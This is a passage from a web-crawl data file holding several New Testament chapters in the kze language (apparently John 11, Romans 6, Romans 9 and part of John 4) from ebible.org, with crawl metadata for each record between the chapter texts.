kwayó-kwáásíyávéna séna ókwara'a Yútiyaa-ayampata kónaumne súwasa\n8 sésa anóndakoo Yútaa-anon-kwaasi óntandei tuvuwónáe sésa kwéopa'a ókwara'a mináyámpá'á kónáe kwésene suwaná\n9-10 Ísu miwí simátimena séna túnkwisasamo kombá íma sáma kaisasá pósa tanaambá kwévaavo sámo kaisasamó kombá íma tanaambá kwévaawe. mirámó ontembá isa'á ívé-kanaa kawe'á umái mayáímá mayánaumne Ísu séna\n11 kentáásí kwaásigo Árásárási aúmá kwégwaimba pó'a usásinankaandayave'a kónaumne súmba\n12-13 Árásárási pukóntavena Ísu súmbanivo kwená kwayó-kwáásí imáyáa ésa aún-kwaiguráimba póna usásinaniye-imayaa ésa sésa anóndakoo kawe'á imbá póna áí'a érankaniye suwaná\n14 Ísu avora'á séna Árásárási pukwiyé.\n15 áí'o ipa'á íma kwesé máyaunda kawe'á imbá póta kwenópataamo kondá suwáné'a kentáváí árai'a Áánútumpakemba kunkáiye simásinkanaaowe súwana\n16 kwená kwayó-kwáásívínkémbá moóráwai áwí'a Tómáasi kwááyu áwí'a ávárawaama kwemá simátimena séna Yútaa-anon-kwaasi Ísumba inkamónááomba póta kweséya puwónáeta kónaumne Tómáasi siráiye.\nÍsuma puwíyampinkemba usásinanaaowaina ááimban-iye kwaasái.\n17 súwana Ísu Pétáni-naopa'a kúmba Árásárási puwúwasa utámárówana éíyaimba kwaúnka'a Ísu koísaraiye.\n18 Pétáni-nao'a Yérúsaremuva'a egwaa'á pósa\n19 Máátaante Máríyaante tiyóvígo pukóntavesa Yútaa-kwaasiyomba ivi'á kogwétesa máyówana\n20 Ísu kwétiyemo sumbá Mááta iséna kwétupa'a kúwana Máríyaa naaúmpa'a máyowana\n21 Mááta Ísuntavena koséna anóndakoo emó maanká'ó máyaandarakai kesiyóvi íma púwísino.\n22 ívé'o Áánútumbo áísaa inanamó éna mirá íníye-imayaa kwéune súwana\n23 Ísu séna enayóvi pukáimpinkemba usásinaniye súwana\n24 Mááta séna naaén-kanaama tínana pukáindavinkemba usásinaniye-imayaama kwéune súwana\n25 Ísu séna púwómpinkemba kwéusasinaawemo sewáíná ááimba kemá úne. aúnái'a umái maí'mai'a ónááowaina ááimba kemá úne. kesááiyavesa áraire sésa kenká'á agevamái máyáawaimo ésa puwónááombanivo usásinanaaowe.\n26 mésa kesááiyavai áraire sésa kenká'á agevamái máyáawaimo ésa íma puwónááowe. mindáyavai emá áraire kwéseno Ísu Máátaantavena súwana\n27 Ísóigoo emá Áánútumo usásinankaiwai kwéamu'maraundawai óne. Áánútu ááninko óne. marapá'á kumíníyondawai emá óne Mááta siráiye.\n28 Mááta simásuwena kwéna áúnkontavena aúpá'á áápimba simámena séna anóndako kwétena kwéaayaiye súwana\n29 Máríyaa iséna avekáán-umai usásinena kwétupa'a kúmba\n30 Ísuma Máátaamo taawánónka'a ména íma naaópa'a túmba\n31 Máríyaa usásinenamo kúmba Yútaa-kwaasi ivi'á ton-kwáásí awánésa imáyáa ésa sésa utamánkáapa'o ivi'ó táíndayavena kwiyé sésa kwa'maésa kumbá\n32 Ísu máyonka'a Máríyaa kwéna anóndakoman-iye séna aísamaivimba kívairena séna Ísóigoo emó maanká'ó máyaandarakai kesiyóvi íma púwísino súwasa\n33 Máríyaae kwenánaaemba kwakón-kwaasiye ivi'ó tombá Ísu tuwánówana arumbá éna umbai-yántáákómá arumbá sáwí'a úwana\n34 tísaa ena séna náánkara utamánkaraao súwasa anóndakoo taawánaao suwaná\n35 Ísu ivi'á tómba\n36 Yútaa-kwaasi awánésa sésa pukáiwaimba aruntávéna umánkáiye suwasá\n37 évakarawai sésa aúgavitan-kwaasi aúramba kawe'á umánkaraimbanivo nóra séna íma asóvamankaisana pukáiyo siráawe.\nÍsu Árásárásimba usásinankarain-kwasai.\n38 suwaná Ísuna umbai-yántáákómá arumbá sáwí'a úwana utamánkaropa'a kúmba murí-áívímbá mámakesa óika'a óntandei awáá umásúwówana Ísu koawánéna\n39 séna óntamba akwátúwáaro súwana Mááta pukówai ámánaako séna Ísóigoo éíyain-tawai kwáímba póna ánkúte íníye súwana\n40 Ísu séna á'a simáme'a súnda kesááiyavaimo áraire sémo kenká'ó agevamáímo mémo e Áánútuna kawe'-máyáímá awánaniyone súwasa\n41 óntamba akwátúwówana Ísu kwíyómpa'a awánéna séna kesivoó kesáái kwéisaandayave'a súwi súne.\n42 kesáái kwéisaampo maanáímbá kwésunda pósa maanká'á máyaan-kwaasi kentávésa árai'a Áánútu ai'mákaisana kunkáiye sénááowe simásuwena\n43 anónka'a séna Árásárásiyo iyuwó súwana\n44 pukówaima iráimba ampaantanéí avakúmá ánáan-kwisuwesa aíyayaanka'a asááúmaresa a'nómpá'á káátamaresa mirán-úmakon-tantaakwara'a iyúwana Ísu séna iyátúwéwana máíno siráiye.\nanón-kwaasi Ísuna ámááyu-aimba siráan-kwasai.\nMátíyu 26:1-5, Mááka 14:1-2, Árúku 22:1-2\n45 Yútaa-kwaasiyomba Máríyaanopa'a kun-kwáásí Ísumo úmba awánésa sésa árai'a Áánútunopakemba kunkáiye suwasá\n46 évakarawai ímaniye sésa ámáán-kawaa-kwaasitopa'a kosésa Ísumo ún-aimba simátímúwasa\n47 mináímbá isésa ámáán-kawaa-kwaasiye mono-káwáá-kwáásíyé aaimó ísón-kwaasi tááyesa sésa íma awánáúnda-mayai maémáyáimba póta nóraya ónaumno.\n48 úwoimo túwáananamo éna mirám-báyáímá maémáyainda pósa amáparawai kwenááiyavesa áraire sénááowe. minká'á Árómáani-kamaani-kwaasi tésa anóm-bono'-namba tayawísíyuwesa kentáámá amáparawaima sáwí'a umásínkáávainivo nóraya ónaumno suwaná\n49 moóráwai áwí'a Káyavaasi minkánáá aiva'-mónó-káwááná'á póna séna íma kawe'á umái kwéisaawe.\n50 Yútaa-kwaasi amápa'a púwóvo séna moóráwai puwíníye Káyavaasi siráiye.\n51 mináímbó súmba íma kwená imáyáavinkemba siráivo minkánáá aiva'-mónó-káwááná'á máyontavena póna Áánútu imáyáama amúwana paárumai séna Yútaa-kwaasi amáparawaiyavena ísámai Ísu puwíníye.\n52 íma Yútaa-kwaasiye su'mai Áánútu áráá'a ovó ó'on-o'om-baravaken-kwaasi mimbóráí'a umái méigwae séna Ísu puwíníye.\n53 Káyavaasi mináímbá súwasa minkákémbá Yútaa-anon-kwaasi Ísuna ámááyu-aimba suwaná\n54 mindáyavena Ísu íma Yútaa-anon-kwaasi túranka'a kwéna tiyuwéna ugóná ayááívá'á Éváráímu-naopa'a kúmba kwená kwayó-kwáásíyé koméraawe.\n55 komáyówana tíyótaasa í-tánón-kánáá sáwíyanka'a tínímba pósa tirumbó kawe'ó íyanesa naaó'-naokemba Yérúsaremu-naopa'a koyorupésa\n56 Ísuntavesa mivá maava'a awánésa anóm-bono'-naumpa'a torupésa sésa tanómbo opa'á tíní. íya tíníyo siráawe.\n57 mono-káwáá-kwáásíyé ámáán-kawaa-kwaasiye sumbá Ísumbo awánésamo ésa simásimiyata tátóráano sumbá mindáyavesa úwoi-kwaasi sésa tanómbo opa'á tíní. íya tíníyo siráawe.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/JN11.html","date":"2023-09-22T00:50:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506320.28\/warc\/CC-MAIN-20230922002008-20230922032008-00561.warc.gz","language":"kze","language_score":1.0000015497,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.0000015497207642}","num_words":699,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.215,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"6\nÍsuwe tarúmaiya máyaunda-kwasai.\n1 simátíménda ísáaro. maarán-áímbá íma seró. Áánútu úwoi súwa'naa úmae iyínana anómba íníntaveta sáwí'a úmae kwéiyeta ménae íma seró.\n2 púwón-kwaasimo miwítí sáwí-mayaigomo ímo ókwara'o tátotuwenamo kwáíntemba kentáávímbá sáwí-mayaigo íma tátotuwena kwáyáísata póta íma sáwíta úmaeta kwéiyeta ménaumne.\n3 maarán-áímbá ísaraawe. nombó pésinkaanta Ísu Káráísiti kweséya tarúsinkaisata kweséya pukáara'naraamba umáíya máyaunanaya kentáásí sáwí-imayaago íma táto'mae kwéiyisata máyaumne.\n4 nombó pésinkaanta kesáá Ísu Káráísitiye puwúnasaya utaráara'naraanta kwéunanaya kentáásí sáwí-imayaago íma táto'mae kwéiyiye. Áánútu kentáásivowa ó'oran-asirayandei pukáimpinkemba usásinankaraintemba kentáá usásisinkaraara'naraamba uráisata aúnái'a umáíya máyaumne.\n5 Ísu Káráísitima pukáimba kwemó kwaásiti sáwí-mayaigomba usáyaaitaraintemba kweséya tarúmai máyaundayavenaya sáwí-mayaigo kentáá íma tátokaiye. miráumai Ísu Káráísitimo pukáimpinkembo usásinankaraintemba kweséya tarúmai máyaundayaveta aúnái'a umáíya máyaumne.\n6-7 maarán-áímbá ísaraawe. púwówanamo imbá sáwí-imayaago íma tátotuwena kwáyáísana kentáásí sáwí-imayaagona asirayámbá ánásainana kesáámó sáwí'o úmae kwéiyundawaiya íma táto'mae iyíníntavena Ísu Káráísiti taaira'á pukáisana kentáásí sáwí-imayaago kentáá íma tátokaiye.\n8 Ísu Káráísitiye pukáara'naraanta umáíya máyaundaya póta mináímbá árair-aimba isatá kweséya máyaumne.\n9 maarán-áíntá ísaraumne. Ísu Káráísiti pukáimpinkemba usásinkaisana puwí-ásíráyánkó íma tátoraisana ókwara'a íma kwévuwiye.\n10 sáwí'o kwéombo ánásanintavena mimbórá-táwai pukáimba póna mindáyavena íma ókwara'a puwéna usásinena ména Áánútuntavena imáyáa kwéena máyáiye.\n11 miráumai imáyáa é'a sé'a pukáara'naraanta umáíya máyaunanaya sáwí'o kwéundawaiya íma tátotuwena kwáyáísata méta Ísu Káráísitiye tarúmaiya máyaundaya Áánútu aamoí ínkwáe-i'a umáíya máyaumne.\n12 kentí sáwí-imayaayave'a tirááíyave'a ováínivo sáwí'o kwéowai keinárawa'a íma tátoraino.\n13 kentúwawaa'neiye kentiyáánamaineiye íma owé simái sáwí'a kwée'a pukáara'naraan-umai máyáawanamo usásintinkaisa'o máyáawai Áánútumpa'a kentúwawaa'a amé'a kwentávé'a owé simái kentúwawaa'neiye kentiyáánamaineiye kwená kawe'-máyáíyé su'mai máyáaro.\n14 Áánútu Mósesimbo simámakain-amaanko íma kárákwiyisana Áánútu úwoi túwa'naa iwáí kárákwiyisana póna kentí sáwí-imayaago kentúra'a íma tátoraino.\nÁánútu kwená mayáí-kwáásí-í'a umátínkáin-kwasai.\n15 mináímbá imáyáa é'a simátíménda ísáaro. Áánútu Mósesimbo simámakain-amaanko kentáárá'á íma kárákwiyisana Áánútu úwoi súwa'naa iwáí kárákwiyisata mindáyaveta íma úwoi sáwí'a úmaeta íyóno.\n16 kwená mayáí mayánaumnemo sembá kwemá kárákwiyisasa kwená mayáí-kwáásí máyáawe-aimba ísaraawe. miráumai sáwí'o íyanamo éna misáwí-ímáyáágó tátokaina'a misáwí-máyáí maimaé kwéiye'a máyáawaina ááimba Áánútuna némpa'a maí'mai'a ónááovo Áánútun-aaimo isáíyanamo éna kwemá kárákwiraina'a kwená mayáí maimaé kwéiyiyana kwenaúranka'a arupí umátinkaniye.\n17 ááémo sáwí'o uráam-bayaigo tátokowasa naaémba árair-aimba simátíma'mae íyówa'a isé'a kentirumpimbá asiramái tátokaawa'a mindáyave'a Áánútumpa'a súwi kwésune.\n18 sáwí'o kwéum-bayaigo tátokompinkemba Áánútu iyátinkowa'a arupí-mayai kwémayaawana minárúpí-máyáígó tátokaiye.\n19 íma asiramái máyáantave'a kesáái isánááon-aimba simátimune. ááéma sáwí'a ónáe sé'a ó'on-o'on-tantaakwara'a sáwí'a uwaná tátokombanivo ívé'a kawe'á ónáe sé'a kawe'-máyáíyé su'mai kwémae'a Áánútundei-i'a oró.\n20 ááémo sáwí'o um-báyáígó tátokonka'a kawe'ó ií-ímáyáá íma kwée'a\n21 sáwí'o uráamba ívé'a tigaemá kwéiye. sáwí'o untavéna íma kawe-tántáá'á kentópa'a tiráiye. mirá-sáwí'ó úmae íyómpinkemba máyáawaina ááimba Áánútuna némpa'a maí'mai'a kwéowe.\n22 Áánútu sáwí'o kwéumpinkemba iyátinkena kwená mayáí-kwáásí-í'a umátínkaraimba pó'a Áánúntundei-i'a umái mé'a aúnái'a umái maí'mai'a ónááowe.\n23 sáwí'o kwéom-bayaigona anondá puwónááombanivo Áánútu kentáásí Ísóigo Ísu Káráísitina mayáí imáyáa éna aúnáitaamo umáíya maí'mai'o ónaunda-ita kwéumasinkaiye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/RM6.html","date":"2023-10-02T04:27:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510967.73\/warc\/CC-MAIN-20231002033129-20231002063129-00174.warc.gz","language":"kze","language_score":1.0000040531,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.0000040531158447}","num_words":414,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.193,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"9\nPóro Ísareri-kwaasi arumbá umátínkarain-kwasai.\n1 kemá Póro Ísu Káráísitina kwaásima é'a árair-aine su'mai kwésunana Áánútun-amanko kesirumpimbá ména kárákwiyisa'a maarán-áímbá árair-aimba kwésimatimune.\n2 kesí kwaási Ísareri-kwaasivinkembo kemá tiráunda isa'á imáyáa únana sirumbá kwéisana sirunkó umbaí támae kwéiyiye.\n3 miwí Ísu Káráísitin-aaiyavesa íma áraire sembá pósa árairemo sésamo kesí anondámo usámaiyanamo Áánútumo siyuwáínanamo Ísu Káráísitimo ánaaembo umásiyuwanimba mindá kanaániye kwésune.\n4 miwí kesí kwaási Ísareri-andarakewai Áánútu kwenáánimbaari'a umái ítámakena kwená ságayamba agaráátinkena aaimá simái tarútinkena kwená ámáámba simátimena simái asirámakain-aimba simátimena Áánútuna imáyáamo mósá kwémaraan-amba agaráátinkowasa\n5 ááéraan-anon-kwaasi miwí tíkwá'náma uwaná Ísu Káráísiti iyámpói aú'mái miwítí ándáva'a kumbéna amáparawaira'a kárákwiyisata kwenáwíta mósá ma'maéta kwéiyunda mindá árair-aimban-iye.\n6 Áánútu Ísareri-andaraken-kwaasivinkemba íma amápa'a ítámakaivo évakarawai ítámakaimba Áánútu asirámakain-aimba arááíraiye íma seénáisaiye.\n7 Ááváramu aísaavutantamba uráawai íma amáparawain-ovo évaka'a Áánútuna iyámpói owaná naaóvá'á Áánútu Ááváramuntavena séna enááninko áwí'a Áísákaa kwenaísaavutantamba ónááowaiye su'maiyavena séna enaísaavutantamba kwéowe sénááowe Áánútu siráiye.\n8 mináínkóná ááimba maarán-áímbán-iye. Ááváramu aísaavutantamba uráawaivinkemba íma amáparawain-ovo Áánútu kesí kwaásima owémó asiramáímo siráiwaiye su'mai Áánútuna kwaásiman-owe.\n9 naaóvá'á Áánútu Ááváramuntavena simái asirámakain-aimba séna súnda-kanaama tína'a máyáanana Séraa inaamaí-íyámpóí ankáníye sirómba\n10 mináímbá kentáá síkwá'náma Áísákaantavena siráiye. kwemá anón-éna aaraí mayówana awainínkó áwí'a Árépéka agováraer-iyampoi\n11 íma tínkaroyasarai miníyámpóíráí íma mayáí mairóyanka'a\n12 Áánútu minínínkóntávéna séna ená iyámpóíraimo ésarai aivakéwáí naaén-iyampoigona mayáí mayáníye siráiye. Áánútu kwená imáyáavinkemba kwená kwaási-i'a umái ítámarena tááyaraivo miwítí mayáí íma awánarena tááyaraiye. miráumai naaóvá'á séna ená iyámpóíraimo ésarai aivakéwai naaén-iyampoigona mayáí mayáníye siráiye.\n13 Áánútun-aai aúváívimba miníyámpóíráíyávéna agaimaréna séna\nYákópomba ítámare'a Ísomba\nsínaaemba umámune Áánútu siráiye\nagaimaréna siráiye.\n14 évakarawai mindáyavesa imáyáa ésa kampa'á sésa Áánútu íma arupí kwéiyemo kwésemba mindá kampar-áímbán-iye.\n15 naaóvá'á Áánútu Mósesintavena séna\nsirumbá umátinkanae súndawaiyave'a sirumbá kwéumatinkaumne. kawe'á umátinkanae súndawaiyave'a mirá kwéune\nsiráiye.\n16 miráumai kwaási tiráái kwétaintavenawe kwaási kawe'-máyáí kwémayaantavenawe ímanivo Áánútu kwená imáyáavinkemba séna sirumbá umátinkanae siráintavena kwená kwaási-i'a umái kwéitamaraiye.\n17 Áánútun-aai aúváí-kwandaaivimba agaimaréna séna\nMósesi máyonka'a Ísípi-marava'a kárákwirowai kwentávéna Áánútu séna amápa'-maravaken-kwaasi kesí asirayándéímó enane'ó úndama awánésa kesúwí'a isáígwáe sé'a embá kárákwiyi-mayaira'a usásinankaraumne Áánútu siráiye\nagaimaréna siráiye.\n18 miráumai Áánútu kwená imáyáavinkemba kwembó arááímo tainí'o énamo sirumbá umátinkanaemo simbá arumbá umátinkena kwembó arááímo tainí'o énamo tiruntémó máráani'o imbá tiruntémá máráani'a kwéumatinkaiye.\nÁánútu áwáá'a tiyéna arumbá umátinkenamo in-kwásáí.\n19 mindáyave'a imáyáa é'a maarán-áímbá íma seró. sáwíta kwéundaya nóra séna Áánútu aaivintá kwémaisinkaiyo. Áánútu imáyáa éna séna sáwí'a ónááowe siráimba mindáya sáwí'a kwéundayaawe. miráumai aaivimbó kwémaisinkainta mindá sáwí'a kwéiye mináímbá íma seró.\n20 keinárawa'a úwoi-kwaasi máyáavo Áánútumo siráinda-aimba anondá íma seró. maarán-áímbá imáyáa oró. sawei-ánáveumba ombá karí'-márámá mairésa sawei-ánáveumba úmaraawana misáwéí-ánáveunko íma maarán-áímbá séna nóra éra kembá mirá kwéumasinkaao íma kwésiye.\n21 sawei-ánáveumbo ombá mimbórá-kárí'-márámá mairésa kaer-ánáveumba úmaresa moórávimba úwoi-mayai maésa moórávimba kawe'-máyáí kwémayaamba mindá miwínéímán-iye.\n22 Áánútu miráráámbá kwéiye. Áánútuna asirayáné áwáá'o kwésine awánanaaontavena sáwí'o uráan-kwaasimo tínkaminimba miwítí meéyámbá póna ááéma íma tínkamimba timu'maréna ména naaémba tínkaminiye.\n23 kentáá ítámarenaya arumbá umásínkáinta póta kweséya ságayan-ayampata méta kwená ó'oran-kawe'-mayai awánanaundayavenaya Áánútu sáwí'o uráan-kwaasi íma ááéma tínkamimba timu'maréna máyáiye.\n24 íma Yútaa-kwaasivinkene su'maiya sááyaraivo ó'onkaa-kwaasigwara'a tááyaraiye.\n25 miráumai naaóvá'á Áánútun-aai simátímakowai áwí'a Ósíya agaimaréna séna\nÁánútu séna íma kesí kwaási-i'a uráan-kwaasiyave'a kesí kwaásiman-owe sé'a ímo sirumbó tímakaundayave'a sirumbá kwétimune sénaumne.\n26 íma kesí kwaásiman-owe siráundava'a máyáawaiyave'a naaémba kesáánimbaa'an-owe sénaumne Áánútu asirayánkwáráwáí síníye\nÓsíya agaimaréna siráiye.\n27 naaóvá'á Áánútun-aai simátímakowai áwí'a Áísáya agaimaréna séna\nÍsarerin-andaraken-kwaasi sáwíva'a ésa nonáámááíraamba umái sáwíva-kwaasi ménaaovo Áánútu íma amápa'a tiránívo évaka'a sáwí'o umái máyáampinkemba tiráníye.\n28 Ísóigo amáparawai avekáán-umai aaivimbá maitinkéna sáwí-meyamba tímatuwaniye\nagaimaréna siráiye.\n29 moóráva'a Áísáya agaimaréna séna\nÍsóigo amápar-asirayambo tokáiwaimo sénamo évakarawai íma tínkamonda tiyúwáanasa mésa iyámpói tinkánááowe siráinkakai Sótómu-naopaken-kwaasiye Kómóraa-naopaken-kwaasiyemo putásaraantemba kesáágwárá'á miráyá úsino\nagaimaréna siráiye.\nÍsareri-kwaasi Ísun-aaiyavai íma áraire siráan-kwasai.\n30 mináínkóná ááimba maarán-áímbán-iye. ó'onkaa-kwaasi Áánútu aúranka'a arupí umáímo máyáan-ambo ímo avakáá uráawai Ísu Káráísitin-aai isésa sésa áraire siráamba póna Áánútu kwenaúranka'a arupí umátínkaraiye.\n31 miwí mirá uráavo Yútaa-kwaasi Áánútu ítámakaiwai sésa Áánútu Mósesimbo simámakain-amaamba kwáráananaya kwenaúranka'a arupíya umásinkaniye siráavo Áánútu Mósesimbo simámakain-amaankona ááimba íma isésa kwenaúranka'a íma arupí umái máyáawe.\n32-33 Áánútuna ámáámba kwáráananaya kwenaúranka'a arupíya umásinkaniye siráavo kwenááiyavesa íma áraire siráantavena íma arupí umátínkaraiye Áánútun-aai aúváí-kwandaaivimba Ísuntavena simái agaimaréna séna\nÁánútu séna ísáaro. Sáíyono-naopa'a moórá-ontamba maráúnda pósa minóntánká'á tísamaima turarésa tanaambá vánááowe. óntantavenamo siráintembo íníwaimpa'o agevamáímo ménaaowai íma tigaeyávésa ónááowe siráiye\nmináímbá agaimaréna siráiye. óntanemo siráimba Ísuntavena siráiye. óntanka'o tanaambó vaantembá Ísu Káráísitin-aai araaisésa miráumai tanaankáámbá vará'naumai máyáawe.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/RM9.html","date":"2023-10-01T02:31:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510734.55\/warc\/CC-MAIN-20231001005750-20231001035750-00627.warc.gz","language":"kze","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.000008225440979}","num_words":662,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.252,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"4\nSámériyaavaken-ininkona kwaasái.\n1-3 Yóni nombó pétinkarain-kwaasi Ísumo pétinkaraimba kóyaaitamai-kwaasi pétinkaraiye. ánivo Ísuma íma pétinkaraivo kwená kwayó-kwáásí pétinkaraawe. Yónimo kwévetinkain-kwaasi Ísumo kwévetinkaimba kóyaaitamai-kwaasi kwévetinkain-aimba ámáán-kawaa-kwaasimo ísón-aimba Ísu iséna Yútiyaa-ayampa'a tuwéna moórágwara'a Káríri-ayampa'a kónáe séna\n4 Sámériyaa-ampa'a kónaumne séna\n5 kúmba Sámériyaa-ayampa'a Sáíkaa-naopa'a naaóvá'ó Yákópomo ááninko Yósépimbo ámakom-barama egwaa'á kwáyon-daopa'a kúmba\n6 Yákópo nombá uwíníyena u'makóm-bai'a kwáyowana aampa'á kwéguwana Ísumba ávón-kówana mimbáíká'á kwáyá'wái komáyowasa\n7-8 kwená kwayó-kwáásí toómbá meéyán-onae sésa naaópa'a kuwaná Sámériyaa-ininko nombá uwíníyena túwana Ísu séna nombá usimiyó súwana\n9 minínínkó séna emá Yútaa-kwaasi ómpo kemá Sámériyaa-inimba úmpo íma nombá usimiyó siyó siráiye. Yútaa-kwaasiye Sámériyaa-kwaasiye íma moórá-anavinkemba kwénaantavena íma nombá usimiyó siyó súwana\n10 Ísu séna Áánútumo kanaán-umaimo amínín-tantaa'a íma awánaraane. nombá usimiyómó súnda-kwaasigona ááimba íma suwánáánda-kwaasi úne. kesí ááimba suwánáándawairaankasi kwántámai se aasiyaasí maí'mai'a ónááon-domba simiyó séna'a amúsino súwana\n11 minínínkó séna maandómbá avéúmpá'ó kunkwáyáimba náán-anavina maí'mai'o ónááon-domba uwíníyono.\n12 kentáá síkwá'náoma Yákópoma maandóm-báí'á u'maréna kwená sipisípiye kwená akúnté tímakaimba pósa maandómbá kwénaawe. kemó súnda emá timíníyonda-nonkoma Yákópo tímakain-donkomba íma usáyaaitaniye kwésune súwana\n13 Ísu séna maandómbó kwénaiyawaimo éna ókwara'a nontávéna tinkánívo\n14 kemó tíménda-nombo náíyawaimo éna íma ókwara'a nontávéna tinkáníye. kemó tíménda-nombo náíyawaimo éna tirumpimbá nonayumpinkémbó usausa intenkáámbá ínasa pósa aúnái'a umái maí'mai'a ónááowe súwana\n15 minínínkó séna emó sénda-nomba símína'a naananá nontávéna íma sinkáína'a íma maampínkémbá tauwónaumne súwana\n16 Ísu séna enawaikómbá koááyamai áí'mae tiyó súwana\n17 séna kesuwairíyaaimba úne súwana Ísu séna emá árai'a séndamanivo\n18 éva'aasei-kwamba mairé miwísé maémaenda isamá ívé'o minkwáásígó emó máyaanda íma enawai'á isamá po árair-aimba simásimene súwana\n19 minínínkó séna kemó imáyáamo únda Áánútun-aai simátimendana'a óne.\n20 Sámériyaa-kwaasi kentáá síkwá'náma sésa maanómáká'á Áánútuna imáyáa mósá máráaro siráawa'a keinárawa'a Yútaa-kwaasi sé'a Yérúsaremu-naopa'a Áánútuna imáyáa mósá máráaro sewé súwana\n21 Ísu séna kemó sendamá áraire siyó. moórá-kanaamo tínímba maanómákákwárá Yérúsaremu-naopakwarare su'mainivo amápa'-mapakwara'a kesivoná imáyáa mósá maránááowe.\n22 keinárawa'a Sámériyaa-kwaasi kwená imáyáa máráambanivo kwená ááimba íma awánare'a owe. Yútaa-kwaasiya kwená imáyáa mósá maréta kwená ááinta awánaraumne. Áánútu séna moóráwai sáwí'o umáímo máyáampinkemba kawer-ámpá'á métinkanae síníwai Yútaa-kwaasivinkemba paáriniye siráiye.\n23 kesivo séna kesí imáyáama mósá maráíyamba íma tóikakemba é'a árai'a tirunkakémbá kesí imáyáa mósá máráaro siráimba miráumai moórá-kanaama kwétisasamo árai'o kesivoná imáyáamo mósá kwémaraiyawaima tirunkakémbá arupí umái kesivoná imáyáama mósá maránááowe.\n24 Áánútumba áúma íma kwáyáísana amankómá máyáísasa pósa íma túrandei ane'á kwéawanaavo miráráán-umai Áánútuna imáyáamo mósá máráambo ombá kwenamankó túwa'naa isasá tirunkakémbá kwená imáyáa mósá máráaro súwana\n25 minínínkó séna Áánútumo usásinankaiwaima Káráísitiye sewáí kumíníye. kumíndara'a amápa-tantaatavena simátiminiye sewa'á ísaraumne súwana\n26 Ísu séna mináímbó séndawaima maandá kemá úne Ísu siráiye.\n27 Ísu mináímbá súwasa kwená kwayó-kwáásí koyauwerésa Ísumo Sámériyaa-ininkontavena súmba Yútaa-kwaasiti namuro-ínínkóntávéna kwésuwana póna táá'a kówasa tirumpin-ímáyáámá ésa minínínkóntávéna nóintavaiya kwéankaisana íyó-imayaa ésa Ísuntavesa nóra séna minínínkóe kwésiyo-imayaa ésa íma taáísaa uwaná\n28 minínínkómá kwená sawei-ánámá tuwéna naaópa'a kwéna simátimena séna\n29 amápa'a uráunda-yantaa'a paárurain-kwaasi máyáiye. Áánútumo usásinankaiwaiya'iya taawánaaro súwasa\n30 naaópa'a tuwésa Ísunopa'a tumbá\n31 Ísuna kwayó-kwáásí Ísuntavesa sésa anóndakoo toómbá naaó amatáárá'á suwaná\n32 Ísu séna kemá íma awánaan-tomba makáumne súwasa\n33 kwená kwayó-kwáásí keáímbá sésa nááwa toómbá maimaéna máámakaiyo suwaná\n34 Ísu séna toóntávénamo tááimo kwétinkaintemba si'mákaiwain-aai isé'a kwená mayáímá maimaé'a kwégwe'a ánásanaundayavai kwésinkaiye.\n35 kígauva'a kwáyáin-tontave'a éíyain-kwiyomba ánásainana ávuma káínata áká'mai torupánaumne kwésevo kemá sé'a awánaaaro. ívé'a maankánáámá toómbó ávumo kaintembá miráráán-umai kwaásiyomba tí'mai Áánútunopa'a kwiyónááowe.\n36-37 kwaásiyombo tí'mai Áánútunopa'a kwitinkáíyan-kwaasimo ésa miwí kawe'-méyámbá mayáíyasa Áánútunopa'a tíyan-kwaasi aúnái'a umái maí'mai'a ónááowe kwésune. évakarawai kígau úmaraiyasa ó'owima akaránááowe kwésewe. miráumai kígau íyawaigwara akaráíyawaigwara'o ésarai aamoí ónááowe.\n38 ó'owima kígau úmakaamba isa'á kemá ti'máráúna'a ó'owiti mayáívínkén-tómbá kwéakaraawe Ísu kwántámai-aimba simátímakaiye.\n39 ánivo minínínkó séna amápa'a uráunda-yantaa'a paáruraiye siráin-aimba isésa pósa Sámériyaa-kwaasi mindáópaken-kwaasi Ísuntavesa sésa árai'a Áánútumo usásinankaiwaiman-iye sésa\n40 Ísunopa'a tésa sésa kentáásí naaópa'a tamaiyó suwaná Ísu kae-táwai koména\n41 aaí simátimuwasa isésa sáwíva-kwaasigwara'a sésa árai'a sáwí'o umáímo máyaundavinkenta kawer-ámpátá mésinkaniwaiman-iye sésa\n42 minínínkómbá simámesa sésa íma enááiye su'maiyavetaanivo kwenáái ísaraundayaveta séta marapá-kwáásí sáwí'o umáímo máyaundavinkemba kawer-ámpátá mésinkaniwaiman-iye siráawe.\nÍsu moórá-iyampoi asóvamankarain-kwasai.\n43 Ísu kae'-nó'wáámbá kwaéna mindáópa'a tuwéna Káríri-ayampa'a kónáe séna kwéna\n44 séna Áánútun-aai simátímíwain-awi'a kwenamááraa íma mósá máráavo á'on-daopaken-kwaasi kwenáwí'a mósá máráawe súwasa\n45 miráumai Káríri-ayampa'a kúwasa mináyámpákén-kwáásí aamoí umánkaraawe. ááéma tíyótaasa í-tánón-kánáárá'á miwí Yérúsaremu-naopa'a komésa Ísuna mayáímó mairáimba awánaraamba pósa aamoí umánkaraawe.\n46 aamoí umánkówana Ísu Káríri-ayampa'a kwénaaena Kéna-naopa'a non-úranko ándá-aran-dombo kasúkáin-daopa'a kúmba kámááni-kwaasi 